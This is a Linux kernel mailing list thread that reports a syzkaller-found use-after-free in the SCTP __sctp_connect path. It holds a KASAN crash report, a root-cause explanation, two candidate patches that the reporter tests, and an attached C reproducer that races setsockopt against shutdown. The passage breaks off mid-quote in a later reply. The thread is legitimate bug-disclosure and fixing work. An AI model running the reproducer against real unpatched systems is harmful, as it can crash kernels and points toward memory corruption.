* net/sctp: use-after-free in __sctp_connect
@ 2016-10-19 12:25 Andrey Konovalov
2016-10-19 16:57 ` Marcelo Ricardo Leitner
0 siblings, 1 reply; 17+ messages in thread
From: Andrey Konovalov @ 2016-10-19 12:25 UTC (permalink / raw)
To: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML
Cc: syzkaller, Kostya Serebryany, Alexander Potapenko, Sasha Levin,
Eric Dumazet, Dmitry Vyukov
Hi,
I've got the following error report while running the syzkaller fuzzer:
==================================================================
BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr
ffff88006b1dc610
Read of size 4 by task syz-executor/21837
CPU: 2 PID: 21837 Comm: syz-executor Not tainted 4.9.0-rc1+ #228
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Bochs 01/01/2011
ffff8800393ef930 ffffffff81b474f4 ffff88003e80ed40 ffff88006b1dc568
ffff88006b1dd6a0 ffff88006b1dc560 ffff8800393ef958 ffffffff8150b33c
ffff8800393ef9e8 ffff88003e80ed40 ffff8800eb1dc610 ffff8800393ef9d8
Call Trace:
[< inline >] __dump_stack lib/dump_stack.c:15
[<ffffffff81b474f4>] dump_stack+0xb3/0x10f lib/dump_stack.c:51
[<ffffffff8150b33c>] kasan_object_err+0x1c/0x70 mm/kasan/report.c:156
[< inline >] print_address_description mm/kasan/report.c:194
[<ffffffff8150b5d7>] kasan_report_error+0x1f7/0x4d0 mm/kasan/report.c:283
[< inline >] kasan_report mm/kasan/report.c:303
[<ffffffff8150b96e>] __asan_report_load4_noabort+0x3e/0x40
mm/kasan/report.c:323
[<ffffffff8393457e>] __sctp_connect+0xabe/0xbf0 net/sctp/socket.c:1219
[<ffffffff83934832>] __sctp_setsockopt_connectx+0x182/0x1b0
net/sctp/socket.c:1329
[< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1361
[<ffffffff8393c1d9>] sctp_setsockopt+0x1009/0x3d70 net/sctp/socket.c:3813
[<ffffffff82b770d6>] sock_common_setsockopt+0x96/0xd0 net/core/sock.c:2688
[< inline >] SYSC_setsockopt net/socket.c:1742
[<ffffffff82b740b4>] SyS_setsockopt+0x154/0x240 net/socket.c:1721
[<ffffffff83fc0141>] entry_SYSCALL_64_fastpath+0x1f/0xc2
Object at ffff88006b1dc568, in cache kmalloc-4096 size: 4096
Allocated:
PID = 21837
[ 270.449111] [<ffffffff8107e2d6>] save_stack_trace+0x16/0x20
arch/x86/kernel/stacktrace.c:57
[ 270.449111] [<ffffffff8150a6a6>] save_stack+0x46/0xd0 mm/kasan/kasan.c:495
[ 270.449111] [< inline >] set_track mm/kasan/kasan.c:507
[ 270.449111] [<ffffffff8150a91b>] kasan_kmalloc+0xab/0xe0
mm/kasan/kasan.c:598
[ 270.449111] [<ffffffff8150604c>] kmem_cache_alloc_trace+0xec/0x270
mm/slub.c:2735
[ 270.449111] [< inline >] kmalloc include/linux/slab.h:490
[ 270.449111] [< inline >] kzalloc include/linux/slab.h:636
[ 270.449111] [<ffffffff838f2b2f>] sctp_association_new+0x6f/0x1f50
net/sctp/associola.c:303
[ 270.449111] [<ffffffff8393402a>] __sctp_connect+0x56a/0xbf0
net/sctp/socket.c:1163
[ 270.449111] [<ffffffff83934832>]
__sctp_setsockopt_connectx+0x182/0x1b0 net/sctp/socket.c:1329
[ 270.449111] [< inline >] sctp_setsockopt_connectx
net/sctp/socket.c:1361
[ 270.449111] [<ffffffff8393c1d9>] sctp_setsockopt+0x1009/0x3d70
net/sctp/socket.c:3813
[ 270.449111] [<ffffffff82b770d6>] sock_common_setsockopt+0x96/0xd0
net/core/sock.c:2688
[ 270.449111] [< inline >] SYSC_setsockopt net/socket.c:1742
[ 270.449111] [<ffffffff82b740b4>] SyS_setsockopt+0x154/0x240
net/socket.c:1721
[ 270.449111] [<ffffffff83fc0141>] entry_SYSCALL_64_fastpath+0x1f/0xc2
Freed:
PID = 21837
[ 270.449111] [<ffffffff8107e2d6>] save_stack_trace+0x16/0x20
arch/x86/kernel/stacktrace.c:57
[ 270.449111] [<ffffffff8150a6a6>] save_stack+0x46/0xd0 mm/kasan/kasan.c:495
[ 270.449111] [< inline >] set_track mm/kasan/kasan.c:507
[ 270.449111] [<ffffffff8150af03>] kasan_slab_free+0x73/0xc0
mm/kasan/kasan.c:571
[ 270.449111] [< inline >] slab_free_hook mm/slub.c:1352
[ 270.449111] [< inline >] slab_free_freelist_hook mm/slub.c:1374
[ 270.449111] [< inline >] slab_free mm/slub.c:2951
[ 270.449111] [<ffffffff815073e8>] kfree+0xe8/0x2b0 mm/slub.c:3871
[ 270.449111] [< inline >] sctp_association_destroy
net/sctp/associola.c:426
[ 270.449111] [<ffffffff838f56e5>] sctp_association_put+0x155/0x250
net/sctp/associola.c:866
[ 270.449111] [<ffffffff8392e213>] sctp_wait_for_connect+0x313/0x460
net/sctp/socket.c:7544
[ 270.449111] [<ffffffff8393443b>] __sctp_connect+0x97b/0xbf0
net/sctp/socket.c:1217
[ 270.449111] [<ffffffff83934832>]
__sctp_setsockopt_connectx+0x182/0x1b0 net/sctp/socket.c:1329
[ 270.449111] [< inline >] sctp_setsockopt_connectx
net/sctp/socket.c:1361
[ 270.449111] [<ffffffff8393c1d9>] sctp_setsockopt+0x1009/0x3d70
net/sctp/socket.c:3813
[ 270.449111] [<ffffffff82b770d6>] sock_common_setsockopt+0x96/0xd0
net/core/sock.c:2688
[ 270.449111] [< inline >] SYSC_setsockopt net/socket.c:1742
[ 270.449111] [<ffffffff82b740b4>] SyS_setsockopt+0x154/0x240
net/socket.c:1721
[ 270.449111] [<ffffffff83fc0141>] entry_SYSCALL_64_fastpath+0x1f/0xc2
Memory state around the buggy address:
ffff88006b1dc500: fc fc fc fc fc fc fc fc fc fc fc fc fc fb fb fb
ffff88006b1dc580: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
>ffff88006b1dc600: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
^
ffff88006b1dc680: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
ffff88006b1dc700: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
sctp_wait_for_connect ends up freeing asoc, which is later accessed to
read asoc->assoc_id.
On commit 1a1891d762d6e64daf07b5be4817e3fbb29e3c59 (Oct 18).
^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-10-19 12:25 net/sctp: use-after-free in __sctp_connect Andrey Konovalov @ 2016-10-19 16:57 ` Marcelo Ricardo Leitner 2016-11-02 22:42 ` Andrey Konovalov 0 siblings, 1 reply; 17+ messages in thread From: Marcelo Ricardo Leitner @ 2016-10-19 16:57 UTC (permalink / raw) To: Andrey Konovalov Cc: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, syzkaller, Kostya Serebryany, Alexander Potapenko, Sasha Levin, Eric Dumazet, Dmitry Vyukov On Wed, Oct 19, 2016 at 02:25:24PM +0200, Andrey Konovalov wrote: > Hi, > > I've got the following error report while running the syzkaller fuzzer: > > ================================================================== > BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr > ffff88006b1dc610 Seems this is the same that Dmitry Vyukov had reported back in Jan 13th. So far I couldn't identify the reason. "Good" to know it's still there, thanks for reporting it. ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-10-19 16:57 ` Marcelo Ricardo Leitner @ 2016-11-02 22:42 ` Andrey Konovalov 2016-11-03 17:11 ` Andrey Konovalov 0 siblings, 1 reply; 17+ messages in thread From: Andrey Konovalov @ 2016-11-02 22:42 UTC (permalink / raw) To: Marcelo Ricardo Leitner Cc: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, syzkaller, Kostya Serebryany, Alexander Potapenko, Eric Dumazet, Dmitry Vyukov [-- Attachment #1: Type: text/plain, Size: 831 bytes --] On Wed, Oct 19, 2016 at 6:57 PM, Marcelo Ricardo Leitner <marcelo.leitner@gmail.com> wrote: > On Wed, Oct 19, 2016 at 02:25:24PM +0200, Andrey Konovalov wrote: >> Hi, >> >> I've got the following error report while running the syzkaller fuzzer: >> >> ================================================================== >> BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr >> ffff88006b1dc610 > > Seems this is the same that Dmitry Vyukov had reported back in Jan 13th. > So far I couldn't identify the reason. > "Good" to know it's still there, thanks for reporting it. Hi Marcelo, I've attached a reproducer that might help to figure out the reason. It triggers the UAF for me in ~10 seconds of running as: $ gcc -lpthread sctp-connect-uaf-poc.c $ while true; do ./a.out; done You need to have KASAN enabled. > [-- Attachment #2: sctp-connect-uaf-poc.c --] [-- Type: application/octet-stream, Size: 3735 bytes --] // autogenerated by syzkaller (http://github.com/google/syzkaller) #ifndef __NR_socket #define __NR_socket 41 #endif #ifndef __NR_setsockopt #define __NR_setsockopt 54 #endif #ifndef __NR_mmap #define __NR_mmap 9 #endif #ifndef __NR_shutdown #define __NR_shutdown 48 #endif #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <errno.h> #include <error.h> #include <fcntl.h> #include <pthread.h> #include <setjmp.h> #include <signal.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> __thread int skip_segv; __thread jmp_buf segv_env; static void segv_handler(int sig, siginfo_t* info, void* uctx) { if (__atomic_load_n(&skip_segv, __ATOMIC_RELAXED)) _longjmp(segv_env, 1); exit(sig); } static void install_segv_handler() { struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = segv_handler; sa.sa_flags = SA_NODEFER | SA_SIGINFO; sigaction(SIGSEGV, &sa, NULL); sigaction(SIGBUS, &sa, NULL); } #define NONFAILING(...) \ { \ __atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \ if (_setjmp(segv_env) == 0) { \ __VA_ARGS__; \ } \ __atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \ } static uintptr_t execute_syscall(int nr, uintptr_t a0, uintptr_t a1, uintptr_t a2, uintptr_t a3, uintptr_t a4, uintptr_t a5, uintptr_t a6, uintptr_t a7, uintptr_t a8) { switch (nr) { default: return syscall(nr, a0, a1, a2, a3, a4, a5); } } long r[14]; void* thr(void* arg) { switch ((long)arg) { case 0: r[0] = execute_syscall(__NR_mmap, 0x20000000ul, 0x332000ul, 0x3ul, 0x32ul, 0xfffffffffffffffful, 0x0ul, 0, 0, 0); break; case 1: r[1] = execute_syscall(__NR_socket, 0x2ul, 0x1ul, 0x0ul, 0, 0, 0, 0, 0, 0); break; case 2: r[2] = execute_syscall(__NR_socket, 0xaul, 0x1ul, 0x84ul, 0, 0, 0, 0, 0, 0); break; case 3: r[3] = execute_syscall(__NR_shutdown, r[2], 0x0ul, 0, 0, 0, 0, 0, 0, 0); break; case 4: NONFAILING(*(uint16_t*)0x20008fe4 = (uint16_t)0xa); NONFAILING(*(uint16_t*)0x20008fe6 = (uint16_t)0x4242); NONFAILING(*(uint32_t*)0x20008fe8 = (uint32_t)0x1ddb); NONFAILING(*(uint32_t*)0x20008fec = (uint32_t)0x5); NONFAILING(*(uint32_t*)0x20008ff0 = (uint32_t)0xffff); NONFAILING(*(uint32_t*)0x20008ff4 = (uint32_t)0x7); NONFAILING(*(uint32_t*)0x20008ff8 = (uint32_t)0x0); NONFAILING(*(uint32_t*)0x20008ffc = (uint32_t)0xffffffffffffff23); r[12] = execute_syscall(__NR_setsockopt, r[2], 0x84ul, 0x6eul, 0x20008fe4ul, 0x1cul, 0, 0, 0, 0); break; case 5: r[13] = execute_syscall(__NR_shutdown, r[2], 0x1ul, 0, 0, 0, 0, 0, 0, 0); break; } return 0; } int main() { long i; pthread_t th[12]; install_segv_handler(); memset(r, -1, sizeof(r)); srand(getpid()); for (i = 0; i < 6; i++) { pthread_create(&th[i], 0, thr, (void*)i); usleep(10000); } for (i = 0; i < 6; i++) { pthread_create(&th[6 + i], 0, thr, (void*)i); if (rand() % 2) usleep(rand() % 10000); } usleep(100000); return 0; } ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-11-02 22:42 ` Andrey Konovalov @ 2016-11-03 17:11 ` Andrey Konovalov 2016-11-03 17:52 ` Marcelo Ricardo Leitner 0 siblings, 1 reply; 17+ messages in thread From: Andrey Konovalov @ 2016-11-03 17:11 UTC (permalink / raw) To: Marcelo Ricardo Leitner Cc: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, syzkaller, Kostya Serebryany, Alexander Potapenko, Eric Dumazet, Dmitry Vyukov On Wed, Nov 2, 2016 at 11:42 PM, Andrey Konovalov <andreyknvl@google.com> wrote: > On Wed, Oct 19, 2016 at 6:57 PM, Marcelo Ricardo Leitner > <marcelo.leitner@gmail.com> wrote: >> On Wed, Oct 19, 2016 at 02:25:24PM +0200, Andrey Konovalov wrote: >>> Hi, >>> >>> I've got the following error report while running the syzkaller fuzzer: >>> >>> ================================================================== >>> BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr >>> ffff88006b1dc610 >> >> Seems this is the same that Dmitry Vyukov had reported back in Jan 13th. >> So far I couldn't identify the reason. >> "Good" to know it's still there, thanks for reporting it. Hi Marcelo, So I've looked at the code. As far as I understand, the problem is a race condition between setsockopt(SCTP_SOCKOPT_CONNECTX) and shutdown on an sctp socket. setsockopt() calls sctp_wait_for_connect(), which exits the for loop on the sk->sk_shutdown & RCV_SHUTDOWN if clause, and then frees asoc with sctp_association_put() and returns err = 0. Then __sctp_connect() checks that err == 0 and reads asoc->assoc_id from the freed asoc. ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-11-03 17:11 ` Andrey Konovalov @ 2016-11-03 17:52 ` Marcelo Ricardo Leitner 2016-11-03 18:02 ` Andrey Konovalov 0 siblings, 1 reply; 17+ messages in thread From: Marcelo Ricardo Leitner @ 2016-11-03 17:52 UTC (permalink / raw) To: Andrey Konovalov Cc: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, syzkaller, Kostya Serebryany, Alexander Potapenko, Eric Dumazet, Dmitry Vyukov On Thu, Nov 03, 2016 at 06:11:01PM +0100, Andrey Konovalov wrote: > On Wed, Nov 2, 2016 at 11:42 PM, Andrey Konovalov <andreyknvl@google.com> wrote: > > On Wed, Oct 19, 2016 at 6:57 PM, Marcelo Ricardo Leitner > > <marcelo.leitner@gmail.com> wrote: > >> On Wed, Oct 19, 2016 at 02:25:24PM +0200, Andrey Konovalov wrote: > >>> Hi, > >>> > >>> I've got the following error report while running the syzkaller fuzzer: > >>> > >>> ================================================================== > >>> BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr > >>> ffff88006b1dc610 > >> > >> Seems this is the same that Dmitry Vyukov had reported back in Jan 13th. > >> So far I couldn't identify the reason. > >> "Good" to know it's still there, thanks for reporting it. > > Hi Marcelo, > Hi > So I've looked at the code. > As far as I understand, the problem is a race condition between > setsockopt(SCTP_SOCKOPT_CONNECTX) and shutdown on an sctp socket. > setsockopt() calls sctp_wait_for_connect(), which exits the for loop > on the sk->sk_shutdown & RCV_SHUTDOWN if clause, and then frees asoc > with sctp_association_put() and returns err = 0. > Then __sctp_connect() checks that err == 0 and reads asoc->assoc_id > from the freed asoc. Suddenly this seems familiar. Your description makes sense, thanks for looking deeper into this, Andrey. This fix should do it, can you please try it? I'll post it properly if it works. wait_for_connect is only used in two places, we can move the ref to a broader scope and cover that read too, instead of holding another ref. sendmsg path won't read anything from the asoc after waiting, so this should be enough for it too. ---8<--- commit 7f7ba9b4fb834a61ab097dfd7c1f267e6a6d70a8 Author: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com> Date: Thu Nov 3 15:47:45 2016 -0200 sctp: hold the asoc longer when associating diff --git a/net/sctp/socket.c b/net/sctp/socket.c index 9fbb6feb8c27..aac271571930 100644 --- a/net/sctp/socket.c +++ b/net/sctp/socket.c @@ -1214,9 +1214,11 @@ static int __sctp_connect(struct sock *sk, timeo = sock_sndtimeo(sk, f_flags & O_NONBLOCK); + sctp_association_hold(asoc); err = sctp_wait_for_connect(asoc, &timeo); if ((err == 0 || err == -EINPROGRESS) && assoc_id) *assoc_id = asoc->assoc_id; + sctp_association_put(asoc); /* Don't free association on exit. */ asoc = NULL; @@ -1985,7 +1987,9 @@ static int sctp_sendmsg(struct sock *sk, struct msghdr *msg, size_t msg_len) if (unlikely(wait_connect)) { timeo = sock_sndtimeo(sk, msg_flags & MSG_DONTWAIT); + sctp_association_hold(asoc); sctp_wait_for_connect(asoc, &timeo); + sctp_association_put(asoc); } /* If we are already past ASSOCIATE, the lower @@ -7501,6 +7505,7 @@ static int sctp_writeable(struct sock *sk) /* Wait for an association to go into ESTABLISHED state. If timeout is 0, * returns immediately with EINPROGRESS. + * Note: caller must hold a ref on asoc before calling this function. */ static int sctp_wait_for_connect(struct sctp_association *asoc, long *timeo_p) { @@ -7511,9 +7516,6 @@ static int sctp_wait_for_connect(struct sctp_association *asoc, long *timeo_p) pr_debug("%s: asoc:%p, timeo:%ld\n", __func__, asoc, *timeo_p); - /* Increment the association's refcnt. */ - sctp_association_hold(asoc); - for (;;) { prepare_to_wait_exclusive(&asoc->wait, &wait, TASK_INTERRUPTIBLE); @@ -7543,9 +7545,6 @@ static int sctp_wait_for_connect(struct sctp_association *asoc, long *timeo_p) out: finish_wait(&asoc->wait, &wait); - /* Release the association's refcnt. */ - sctp_association_put(asoc); - return err; do_error: ^ permalink raw reply related [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-11-03 17:52 ` Marcelo Ricardo Leitner @ 2016-11-03 18:02 ` Andrey Konovalov 2016-11-03 18:35 ` Marcelo Ricardo Leitner 0 siblings, 1 reply; 17+ messages in thread From: Andrey Konovalov @ 2016-11-03 18:02 UTC (permalink / raw) To: Marcelo Ricardo Leitner Cc: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, syzkaller, Kostya Serebryany, Alexander Potapenko, Eric Dumazet, Dmitry Vyukov On Thu, Nov 3, 2016 at 6:52 PM, Marcelo Ricardo Leitner <marcelo.leitner@gmail.com> wrote: > On Thu, Nov 03, 2016 at 06:11:01PM +0100, Andrey Konovalov wrote: >> On Wed, Nov 2, 2016 at 11:42 PM, Andrey Konovalov <andreyknvl@google.com> wrote: >> > On Wed, Oct 19, 2016 at 6:57 PM, Marcelo Ricardo Leitner >> > <marcelo.leitner@gmail.com> wrote: >> >> On Wed, Oct 19, 2016 at 02:25:24PM +0200, Andrey Konovalov wrote: >> >>> Hi, >> >>> >> >>> I've got the following error report while running the syzkaller fuzzer: >> >>> >> >>> ================================================================== >> >>> BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr >> >>> ffff88006b1dc610 >> >> >> >> Seems this is the same that Dmitry Vyukov had reported back in Jan 13th. >> >> So far I couldn't identify the reason. >> >> "Good" to know it's still there, thanks for reporting it. >> >> Hi Marcelo, >> > > Hi > >> So I've looked at the code. >> As far as I understand, the problem is a race condition between >> setsockopt(SCTP_SOCKOPT_CONNECTX) and shutdown on an sctp socket. >> setsockopt() calls sctp_wait_for_connect(), which exits the for loop >> on the sk->sk_shutdown & RCV_SHUTDOWN if clause, and then frees asoc >> with sctp_association_put() and returns err = 0. >> Then __sctp_connect() checks that err == 0 and reads asoc->assoc_id >> from the freed asoc. > > Suddenly this seems familiar. Your description makes sense, thanks for > looking deeper into this, Andrey. > > This fix should do it, can you please try it? I'll post it properly > if it works. Yes, it fixes the issue. Tested-by: Andrey Konovalov <andreyknvl@google.com> Thanks for the fix! > > wait_for_connect is only used in two places, we can move the ref to a > broader scope and cover that read too, instead of holding another ref. > > sendmsg path won't read anything from the asoc after waiting, so this > should be enough for it too. > > ---8<--- > > commit 7f7ba9b4fb834a61ab097dfd7c1f267e6a6d70a8 > Author: Marcelo Ricardo Leitner <marcelo.leitner@gmail.com> > Date: Thu Nov 3 15:47:45 2016 -0200 > > sctp: hold the asoc longer when associating > > diff --git a/net/sctp/socket.c b/net/sctp/socket.c > index 9fbb6feb8c27..aac271571930 100644 > --- a/net/sctp/socket.c > +++ b/net/sctp/socket.c > @@ -1214,9 +1214,11 @@ static int __sctp_connect(struct sock *sk, > > timeo = sock_sndtimeo(sk, f_flags & O_NONBLOCK); > > + sctp_association_hold(asoc); > err = sctp_wait_for_connect(asoc, &timeo); > if ((err == 0 || err == -EINPROGRESS) && assoc_id) > *assoc_id = asoc->assoc_id; > + sctp_association_put(asoc); > > /* Don't free association on exit. */ > asoc = NULL; > @@ -1985,7 +1987,9 @@ static int sctp_sendmsg(struct sock *sk, struct msghdr *msg, size_t msg_len) > > if (unlikely(wait_connect)) { > timeo = sock_sndtimeo(sk, msg_flags & MSG_DONTWAIT); > + sctp_association_hold(asoc); > sctp_wait_for_connect(asoc, &timeo); > + sctp_association_put(asoc); > } > > /* If we are already past ASSOCIATE, the lower > @@ -7501,6 +7505,7 @@ static int sctp_writeable(struct sock *sk) > > /* Wait for an association to go into ESTABLISHED state. If timeout is 0, > * returns immediately with EINPROGRESS. > + * Note: caller must hold a ref on asoc before calling this function. > */ > static int sctp_wait_for_connect(struct sctp_association *asoc, long *timeo_p) > { > @@ -7511,9 +7516,6 @@ static int sctp_wait_for_connect(struct sctp_association *asoc, long *timeo_p) > > pr_debug("%s: asoc:%p, timeo:%ld\n", __func__, asoc, *timeo_p); > > - /* Increment the association's refcnt. */ > - sctp_association_hold(asoc); > - > for (;;) { > prepare_to_wait_exclusive(&asoc->wait, &wait, > TASK_INTERRUPTIBLE); > @@ -7543,9 +7545,6 @@ static int sctp_wait_for_connect(struct sctp_association *asoc, long *timeo_p) > out: > finish_wait(&asoc->wait, &wait); > > - /* Release the association's refcnt. */ > - sctp_association_put(asoc); > - > return err; > > do_error: ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-11-03 18:02 ` Andrey Konovalov @ 2016-11-03 18:35 ` Marcelo Ricardo Leitner 2016-11-03 18:45 ` Andrey Konovalov 2016-11-04 12:59 ` Neil Horman 0 siblings, 2 replies; 17+ messages in thread From: Marcelo Ricardo Leitner @ 2016-11-03 18:35 UTC (permalink / raw) To: Andrey Konovalov Cc: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, syzkaller, Kostya Serebryany, Alexander Potapenko, Eric Dumazet, Dmitry Vyukov On Thu, Nov 03, 2016 at 07:02:47PM +0100, Andrey Konovalov wrote: > On Thu, Nov 3, 2016 at 6:52 PM, Marcelo Ricardo Leitner > <marcelo.leitner@gmail.com> wrote: > > On Thu, Nov 03, 2016 at 06:11:01PM +0100, Andrey Konovalov wrote: > >> On Wed, Nov 2, 2016 at 11:42 PM, Andrey Konovalov <andreyknvl@google.com> wrote: > >> > On Wed, Oct 19, 2016 at 6:57 PM, Marcelo Ricardo Leitner > >> > <marcelo.leitner@gmail.com> wrote: > >> >> On Wed, Oct 19, 2016 at 02:25:24PM +0200, Andrey Konovalov wrote: > >> >>> Hi, > >> >>> > >> >>> I've got the following error report while running the syzkaller fuzzer: > >> >>> > >> >>> ================================================================== > >> >>> BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr > >> >>> ffff88006b1dc610 > >> >> > >> >> Seems this is the same that Dmitry Vyukov had reported back in Jan 13th. > >> >> So far I couldn't identify the reason. > >> >> "Good" to know it's still there, thanks for reporting it. > >> > >> Hi Marcelo, > >> > > > > Hi > > > >> So I've looked at the code. > >> As far as I understand, the problem is a race condition between > >> setsockopt(SCTP_SOCKOPT_CONNECTX) and shutdown on an sctp socket. > >> setsockopt() calls sctp_wait_for_connect(), which exits the for loop > >> on the sk->sk_shutdown & RCV_SHUTDOWN if clause, and then frees asoc > >> with sctp_association_put() and returns err = 0. > >> Then __sctp_connect() checks that err == 0 and reads asoc->assoc_id > >> from the freed asoc. > > > > Suddenly this seems familiar. Your description makes sense, thanks for > > looking deeper into this, Andrey. > > > > This fix should do it, can you please try it? I'll post it properly > > if it works. > > Yes, it fixes the issue. > > Tested-by: Andrey Konovalov <andreyknvl@google.com> > > Thanks for the fix! Ahm this other fix looks better: do the read before calling sctp_wait_for_connect() as that id won't change in this call and the application shouldn't trust this number if an error is returned, so there should be no issues by returning it in such situation. Can you please confirm this one also works? Thanks! ---8<--- diff --git a/net/sctp/socket.c b/net/sctp/socket.c index 6cdc61c21438..be1d9bb98230 100644 --- a/net/sctp/socket.c +++ b/net/sctp/socket.c @@ -1214,9 +1214,12 @@ static int __sctp_connect(struct sock *sk, timeo = sock_sndtimeo(sk, f_flags & O_NONBLOCK); - err = sctp_wait_for_connect(asoc, &timeo); - if ((err == 0 || err == -EINPROGRESS) && assoc_id) + if (assoc_id) *assoc_id = asoc->assoc_id; + err = sctp_wait_for_connect(asoc, &timeo); + /* Note: the asoc may be freed after the return of + * sctp_wait_for_connect. + */ /* Don't free association on exit. */ asoc = NULL; ^ permalink raw reply related [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-11-03 18:35 ` Marcelo Ricardo Leitner @ 2016-11-03 18:45 ` Andrey Konovalov 2016-11-04 12:59 ` Neil Horman 1 sibling, 0 replies; 17+ messages in thread From: Andrey Konovalov @ 2016-11-03 18:45 UTC (permalink / raw) To: Marcelo Ricardo Leitner Cc: Vlad Yasevich, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, syzkaller, Kostya Serebryany, Alexander Potapenko, Eric Dumazet, Dmitry Vyukov On Thu, Nov 3, 2016 at 7:35 PM, Marcelo Ricardo Leitner <marcelo.leitner@gmail.com> wrote: > On Thu, Nov 03, 2016 at 07:02:47PM +0100, Andrey Konovalov wrote: >> On Thu, Nov 3, 2016 at 6:52 PM, Marcelo Ricardo Leitner >> <marcelo.leitner@gmail.com> wrote: >> > On Thu, Nov 03, 2016 at 06:11:01PM +0100, Andrey Konovalov wrote: >> >> On Wed, Nov 2, 2016 at 11:42 PM, Andrey Konovalov <andreyknvl@google.com> wrote: >> >> > On Wed, Oct 19, 2016 at 6:57 PM, Marcelo Ricardo Leitner >> >> > <marcelo.leitner@gmail.com> wrote: >> >> >> On Wed, Oct 19, 2016 at 02:25:24PM +0200, Andrey Konovalov wrote: >> >> >>> Hi, >> >> >>> >> >> >>> I've got the following error report while running the syzkaller fuzzer: >> >> >>> >> >> >>> ================================================================== >> >> >>> BUG: KASAN: use-after-free in __sctp_connect+0xabe/0xbf0 at addr >> >> >>> ffff88006b1dc610 >> >> >> >> >> >> Seems this is the same that Dmitry Vyukov had reported back in Jan 13th. >> >> >> So far I couldn't identify the reason. >> >> >> "Good" to know it's still there, thanks for reporting it. >> >> >> >> Hi Marcelo, >> >> >> > >> > Hi >> > >> >> So I've looked at the code. >> >> As far as I understand, the problem is a race condition between >> >> setsockopt(SCTP_SOCKOPT_CONNECTX) and shutdown on an sctp socket. >> >> setsockopt() calls sctp_wait_for_connect(), which exits the for loop >> >> on the sk->sk_shutdown & RCV_SHUTDOWN if clause, and then frees asoc >> >> with sctp_association_put() and returns err = 0. >> >> Then __sctp_connect() checks that err == 0 and reads asoc->assoc_id >> >> from the freed asoc. >> > >> > Suddenly this seems familiar. Your description makes sense, thanks for >> > looking deeper into this, Andrey. >> > >> > This fix should do it, can you please try it? I'll post it properly >> > if it works. >> >> Yes, it fixes the issue. >> >> Tested-by: Andrey Konovalov <andreyknvl@google.com> >> >> Thanks for the fix! > > Ahm this other fix looks better: do the read before calling > sctp_wait_for_connect() as that id won't change in this call and the > application shouldn't trust this number if an error is returned, so > there should be no issues by returning it in such situation. > > Can you please confirm this one also works? Thanks! Sure! This one also works. Tested-by: Andrey Konovalov <andreyknvl@google.com> > > ---8<--- > > diff --git a/net/sctp/socket.c b/net/sctp/socket.c > index 6cdc61c21438..be1d9bb98230 100644 > --- a/net/sctp/socket.c > +++ b/net/sctp/socket.c > @@ -1214,9 +1214,12 @@ static int __sctp_connect(struct sock *sk, > > timeo = sock_sndtimeo(sk, f_flags & O_NONBLOCK); > > - err = sctp_wait_for_connect(asoc, &timeo); > - if ((err == 0 || err == -EINPROGRESS) && assoc_id) > + if (assoc_id) > *assoc_id = asoc->assoc_id; > + err = sctp_wait_for_connect(asoc, &timeo); > + /* Note: the asoc may be freed after the return of > + * sctp_wait_for_connect. > + */ > > /* Don't free association on exit. */ > asoc = NULL; ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-11-03 18:35 ` Marcelo Ricardo Leitner 2016-11-03 18:45 ` Andrey Konovalov @ 2016-11-04 12:59 ` Neil Horman 2016-11-04 13:03 ` Marcelo Ricardo Leitner 1 sibling, 1 reply; 17+ messages in thread From: Neil Horman @ 2016-11-04 12:59 UTC (permalink / raw) To: Marcelo Ricardo Leitner Cc: Andrey Konovalov, Vlad Yasevich, David S. Miller, linux-sctp, netdev, LKML, syzkaller, Kostya Serebryany, Alexander Potapenko, Eric Dumazet, Dmitry Vyukov On Thu, Nov 03, 2016 at 04:35:33PM -0200, Marcelo Ricardo Leitner wrote: > On Thu, Nov 03, 2016 at 07:02:47PM +0100, Andrey Konovalov wrote: > > On Thu, Nov 3, 2016 at 6:52 PM, Marcelo Ricardo Leitner > > <marcelo.leitner@gmail.com> wrote: > > > On Thu, Nov 03, 2016 at 06:11:01PM +0100, Andrey Konovalov wrote: > > >> On Wed, Nov 2, 2016 at 11:42 PM, Andrey Konovalov <andreyknvl@google.com> wrote: > > >> > On 